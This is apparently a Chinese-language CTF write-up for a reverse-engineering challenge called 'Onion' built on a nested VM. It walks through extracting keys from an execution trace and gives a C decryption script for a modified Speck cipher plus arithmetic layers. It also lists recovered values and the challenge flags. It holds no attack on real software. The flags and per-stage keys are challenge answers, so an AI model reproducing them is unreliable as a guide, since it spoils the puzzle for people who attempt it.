b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'
"""
Onion
vm 套娃
输入一堆数,加密顺序为
简易运算加密
类tea,魔改好多,问ai说是speck
明文加密结果与密文进行校验然后作为key解密下一段vmcode。
循环往复,如此套娃。
思路是,解决第一个数,后面用同样的方法进行能工智人即可,全自动化不会。
解决第一个数
首先是还原指令流,一般两种方法,写代码模拟或者trace打log。
此处使用后者。
然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。
ai分析得到了上面概述说的大体流程,当然也结合了一些经验。
so,第二步,解密第一个数。
解密两步走
- 从log中提取关键值。
- 还原解密代码
第一步,从log中提取关键值。
需要提取的有 简易运算加密的参数,以及speck的参数。
00010223 .text:vm_execute+A96 mov rax, [rax+rcx] RAX=48F0E6421AC66DEA
00010223 .text:vm_execute+60B mov rcx, [rsp+rdi*8+328h+s] RCX=48F0E6421AC66DEA
00010223 .text:vm_execute+613 mov rdx, rcx RDX=48F0E6421AC66DEA
key0 = 0x36B1CC9FE433713D
提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=36B1CC9FE433713D
key1 = 0xF97646D69C84EBD8
提取于:00010223 .text:vm_execute:loc_55555556BE01 mov rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器 RAX=F97646D69C84EBD8
第二步
解密脚本如下
#include <stdio.h>
#include <stdint.h>
// 32位循环移位
uint32_t ror32(uint32_t v, int s) { s &= 31; return (v >> s) | (v << (32 - s)); }
uint32_t rol32(uint32_t v, int s) { s &= 31; return (v << s) | (v >> (32 - s)); }
// speck解密
uint64_t vm_tea_decrypt(uint64_t input) {
uint32_t v0 = input & 0xFFFFFFFF;
uint32_t v1 = (input >> 32) & 0xFFFFFFFF;
uint32_t keys[27];
uint32_t r2 = 0xE433713D, r3 = 0x36B1CC9F, r4 = 0x9C84EBD8, r5 = 0xF97646D6;
for (int i = 0; i < 27; i++) {
keys[i] = r2;
if (i < 26) {
uint32_t t0 = ror32(r3, 8) + r2;
t0 ^= i;
uint32_t t1 = rol32(r2, 3) ^ t0;
r2 = t1; r3 = r4; r4 = r5; r5 = t0;
}
}
for (int i = 26; i >= 0; i--) {
v1 ^= v0;
v1 = ror32(v1, 3);
v0 ^= keys[i];
v0 -= v1;
v0 = rol32(v0, 8);
}
return ((uint64_t)v1 << 32) | v0;
}
// reverse
uint64_t reverse_xor(uint64_t v) {
v ^= 0x8CB331163A92FC19ULL;
v += 0x5566488C9C5CF234ULL;
v ^= 0x5074D85B9194E696ULL;
v += 0x48F0E6421AC66DEAULL;
return v;
}
int main() {
uint64_t target = 0xDA19BA6B81C83F61ULL;
uint64_t after_tea = vm_tea_decrypt(target);
printf("TEA dec: 0x%016llx\n", after_tea);
uint64_t result = reverse_xor(after_tea);
printf("Result: 0x%016llx (%llu)\n", result, result);
return 0;
}
如此,我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人,继续搓。
enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8
02= a28f38bd0463522c
enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884
01= bf11b34d0ce941cc
enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd
14= ef320f9e6ae31520
enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc
11= 36646367b78c2f91
以下省略
ba610b6c5d80c91a
bf11b34d0ce941cc
a28f38bd0463522c
79ed5d84199dd9cb
4d9c56b2a1d77a0d
fe13c54ceb12fea8
494a63fc85b9953a
ad1f6be84bbb4680
cd05f91609d653fa
55493aa141fbe86f
25bc9aff736b80a8
d8817dda43824d2c
5fcca9a9cb65130d
6f3ed35da24dacfa
b5e1534e1dc36c87
ac1b4e2750778a01
c8f82d07316dcd3b
36646367b78c2f91
9eed7637cd5eaa26
ff546a0085041459
ef320f9e6ae31520
1e00a4b9e25488f6
1a9a0626a035fb9d
e2f1eb0e5248cd2c
8a0bf5239eed75c4
749e8082db34037d
f4d25540ed584887
c12422512500c887
7e1a125dcfa56359
497cff13eaa5bf76
d51ceddab7795459
a922933b0b315a10
cabd557ffa1df043
e0459b855188d045
82700d6f6a986873
c01552dff3a12f67
0615548ece7312fb
0e189fa829657913
8d4c8f2124957228
451572c65bcb3425
554fca602792e879
4f749f6bbca2014c
b1e1adc831c8d567
9c73a6d3f711e66e
2ab305ec4e07b0b4
98a16d274bb044d2
c409de0e72c1029e
5e68e47d3a360a80
a1570f48caceb3dd
d6ab1c9a18ebb936
RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}
下次碰到套娃题,一定写解释器模拟自动化((